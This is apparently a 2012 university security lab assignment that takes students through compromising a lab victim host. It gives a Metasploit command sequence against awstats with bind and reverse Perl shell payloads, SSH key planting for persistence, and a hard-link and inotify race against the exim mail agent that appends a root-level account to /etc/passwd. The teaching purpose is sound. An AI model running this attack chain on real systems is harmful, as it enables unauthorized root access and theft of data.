Due Date: Fr April 20, 2012, 11:59pm.
In this project, you will use metasploit and local exploits to capture a the contents of secret, root-owned file on a remote victim host.
All students will be given (unprivileged) logins on a common attack host from which to launch attacks against your personal victim. That is, each student will have a different target victim system to attack. The final aim is to obtain a secret in the target system (target system and secret is distinct for each student). Providing someone else's secret as yours will just get you in trouble. To find the secret, students will first have to remotely attack the target system from the attacker system to get an unprivileged user on the target system, and then escalate privileges in the target system to the superuser root. In doing this exercise, students will understand the anatomy of a possible attack in a real-world scenario, along with its complexities.
We shall use the Metasploit framework to exploit a remote vulnerability on the target. Metasploit is a framework for scanning hosts for vulnerabilities and exploiting found vulnerabilities. We only demonstrate the exploitation part here -- we exploit an arbitrary command execution vulnerability in a Perl web application to get web server privileges.
# Run metasploit - May take time to start up % msfconsole # Load exploit msf > use exploit/unix/webapp/awstats_configdir_exec # Show exploit options msf exploit(awstats_configdir_exec) > show options # We need to specify RHOST (remote host), LHOST (local host) and URI (location of awstats script). msf exploit(awstats_configdir_exec) > set RHOST target_machine_hostname msf exploit(awstats_configdir_exec) > set LHOST attacker_machine_hostname msf exploit(awstats_configdir_exec) > set URI http://target_machine_hostname/awstats/awstats.pl?config=default # View possible payloads to piggyback on the exploit msf exploit(awstats_configdir_exec) > show payloads # Select a suitable payload (we choose Perl because exploited script is in Perl) # Choose either cmd/unix/bind_perl or cmd/unix/reverse_perl, depending on # which one works for you. Repeat a few times, may not succeed the very # first time. msf exploit(awstats_configdir_exec) > set payload cmd/unix/bind_perl # exploit msf exploit(awstats_configdir_exec) > exploit # If the exploit succeeded, a shell opens to the remote system [*] Command shell session 1 opened ...
We are now on a shell in the target machine. Type commands (e.g., ls, whoami) and you can get their outputs. whoami shows we are the user www-data (that the Apache webserver usually runs as). However, this interface has several features lacking (e.g., we cannot view errors in commands we type, and commands cannot interact with the user for input). Usually, attackers attempt to connect to a terminal to launch further attacks.
Thus, the immediate problem is how to get a shell that has a terminal. The usual technique involves enabling user login by addings hosts to the .rhosts file, and SSH host keys. We will use ssh host keys for www-data so a user can login directly as www-data on the target machine through ssh, to get a terminal that is easier to work with.
SSH can authenticate users in a variety of ways. Common methods use passwords and public keys. Since we cannot directly modify the password file /etc/passwd (yet!), we will use public key authentication. The file $HOME/.ssh/authorized_keys of a user has some public keys (one per line), and any remote user who proves that he has the corresponding private key can login as that local user without supplying a password.
[ Exercise 1 ]. Generate an RSA public key pair for SSH on your attacker machine. To do this, see the Internet and manpage for ssh-keygen. Copy your public key on the attacker machine ($HOME/.ssh/id_rsa.pub) over to the file /var/www/.ssh/authorized_keys on the target machine (/var/www is $HOME for www-data). You may have to manually copy the key on the screen and paste it on the metasploit-opened shell (be careful not to introduce additional spaces), and use the echo command with output redirection (append) to /var/www/.ssh/authorized_keys. If all goes well, you can now ssh into the target machine as www-data from the attacker machine. You are now in the target machine! Turn in the authorized_keys file you made (filename: /var/www/.ssh/authorized_keys).
Now we have a login shell in the system we wanted to exploit. However, we want a secret owned by root, so we are not yet finished. We need to escalate privileges to root through a local exploit.
We will exploit a race condition in a mail delivery agent (MDA) to add our user to /etc/passwd with administrator (root) privileges.
/var/mail is a shared directory between users that has users' mailboxes. Once e-mail is received over the Internet or local delivery, mail delivery agents (MDAs) store mail into the respective mailboxes of users to whom the e-mail has been addressed. These MDAs usually run setuid as root because they should be able to append to any user's mailbox. However, users should be able to read and clear their own mail, so they also have certain privileges in this directory. Historically, various Unix-based systems have had their own customized permissions. To simplify our scenario, we assume a 777 permission on /var/mail.
drwxrwxrwx 2 root mail 4096 2012-04-12 02:49 mailThis means any user can manipulate mailboxes in /var/mail arbitrarily. Old Unix systems had such permissions. Some recent distributions (e.g., SuSE Linux) have a slight variation of this version.
Note: User x has mailbox in /var/mail/x /* open /var/mail/x to deliver mail to user x */ fd = open("/var/mail/x", O_APPEND); /* check that /var/mail/x is not a symbolic or hard link */ lstat("/var/mail/x", &statbuf); if (IS_LINK(statbuf.st_mode)) { printf("Mailbox is symbolic link, reject!\n"); exit(); } else if (statbuf.st_nlink != 1) { printf("Mailbox has too many hard links, reject!\n"); exit(); } /* All tests passed, now deliver mail */ write(fd, "mail contents");
Unfortunately for the MDA, there exists a race condition here that a local adversary can exploit. The race is between open() and lstat(). Consider the following scenario. The adversary creates a hard link from some mailbox (e.g., /var/mail/root) to a critical file (/etc/passwd). He waits for an MDA to deliver mail to root. The MDA performs the open(), and gets a file descriptor fd to /etc/passwd. Meanwhile, after the open(), but before the MDA can perform lstat(), the adversary deletes the hard link, and creates a benign file in its place. The MDA performs lstat() on the benign file, checks that it is not a soft link or a hard link to another file, and decides it is okay to write. However, it file it opened is different from the file it checked because of the race, and the file descriptor it obtained is actually to /etc/passwd. The MDA thus ends up appending data to /etc/passwd.
The local adversary (you!) can send mail to root with arbitrary contents, and thus control what is appended to /etc/passwd, although he does not have direct permissions to write to /etc/passwd! We will attempt to exploit this race condition, and design our message body to add a user with a known password and admin privileges.
Reconnaissance of the MDA:
Mail delivery to normal file. Create /var/mail/root as a regular file (delete it and re-create it if it already exists). From the command line, type:
$ mail root Cc: (Control-D) Subject: Test for root from www-data A test email to root. (Control-D)
Now the mail will be delivered to root. cat /var/mail/root to see its contents.
Mail delivery to hard link. Create /var/mail/root as a hard link to /etc/passwd (ln /etc/passwd /var/mail/root). Send a test mail again as above.
Now, see if contents are delivered to /var/mail/root (they won't, as exim checks for hard links). Examine /var/log/exim/mainlog to see why.
(mailbox /var/mail/root has too many links (2)).
Exploiting race condition:
Mail delivery to hard link changed to regular file. Thus, our aim is to add a user with admin privileges and known password in the system by forcing the MDA (exim) to append to /etc/passwd. There are two challenges: (1) How do we know precisely when exim opens the file, so we can immediately change it, and (2) What data should we send in the mail, so a user with a known password is added to /etc/passwd?
Filesystem watchers
To solve the first problem, we can register a filesystem watcher. Filesystem watchers notify a process on any changes to particular parts of the filesystem (including processes opening files). One such framework in Linux is inotify. We use inotify as follows. We first hard link /var/mail/root to /etc/passwd, and then register an inotify watch on the /var/mail directory. As soon as we are notified that the hard link is opened, we immediately change it to a regular file (hopefully before the lstat() of the MDA). Students should extend the inotify code provided to perform this filesystem modification. Then, they should compile the program and execute it. The program will start monitoring writers to /var/mail/root, and act whenever the MDA writes to /var/mail/root.
[ Exercise 2 ]. For convenience, the code is placed in /var/www/inotify_racecond.c on the target system. The code has placeholders for two functions, initialize() (for hard linking /var/mail/root to /etc/passwd), and modify_race() (to change /var/mail/root to a regular file), that the students should fill in (see comments for tasks). Turn in the completed code (filename: inotify_racecond.c).
[Hint. The library call for creating hard links is link(). The library call for deleting files is unlink(). Normal files can be created using creat() or open() with O_CREAT.]
Add new entry to /etc/passwd
Now we have the program that will exploit the race condition in the MDA. The other half is to invoke the MDA with the appropriate e-mail body, that gets written to /etc/passwd if the race succeeds.
[ Exercise 3 ]. Determine the appropriate line to add to the message body of the e-mail that, when appended to /etc/passwd, adds a user to a system with administrator privileges and a known password. Initiate an e-mail to root (as above), and type (or paste) this message into the body of the e-mail. Turn in the body of your e-mail (filename: email_body).
[Hint 1. Refer to the /etc/passwd file and man pages on your attacker system for the format. Note that on this system password hashes are stored in /etc/passwd (instead of the usual /etc/shadow), so we just have to change /etc/passwd to modify the password value. The easiest thing is to use your password entry from the attacker machine (including its password), so you can login to the target with the same password (user ids may be different, of course). By convention, new users get the first available user ID above 1000. ]
[Hint 2. To get administrator privileges, users need to belong to the group 'admin' (look at /etc/group in the target system). Set the group ID of the new user appropriately. ]
Note: While the e-mail headers will also be written along with the e-mail body to /etc/passwd, programs parsing /etc/passwd will usually ignore malformed lines, so this is not a problem.
If all goes well, you should now be able to ssh to the target system as the user you just added, who should also have admin privileges. Congratulations!
[ Exercise 4 ]. Finally, now that you have logged in to the target system, fetch the contents of the file /root/secret and turn it in (filename: secret). NOTE: The secret will be different for each student!
I will provide a drop box for submitting this project. The project is due on Fr April 20 at 11:59pm. Please attach a tar file containing the files for the exercises above.
You are to complete this on your own. Any sharing of code or help during the coding of this project is expressly forbidden. Do not discuss this project with anyone.
To perform this project, you will have to become familiar with the use of the ssh-keygen. Also, here is the passwd entry format.
How could the remote attack be stopped?
How could filesystem permissions be changed to stop the /var/mail race conditions?
We saw how an unprivileged user fooled the MDA to use a privileged permission that it normally wouldn't. Which attack is this an instance of?
For the MDA to verify that the opened file is the same inode (actual file object) as the stat'ed file, it would need to check that inode number is the same for both. Which field in the stat data structure (man stat) identifies the inode number?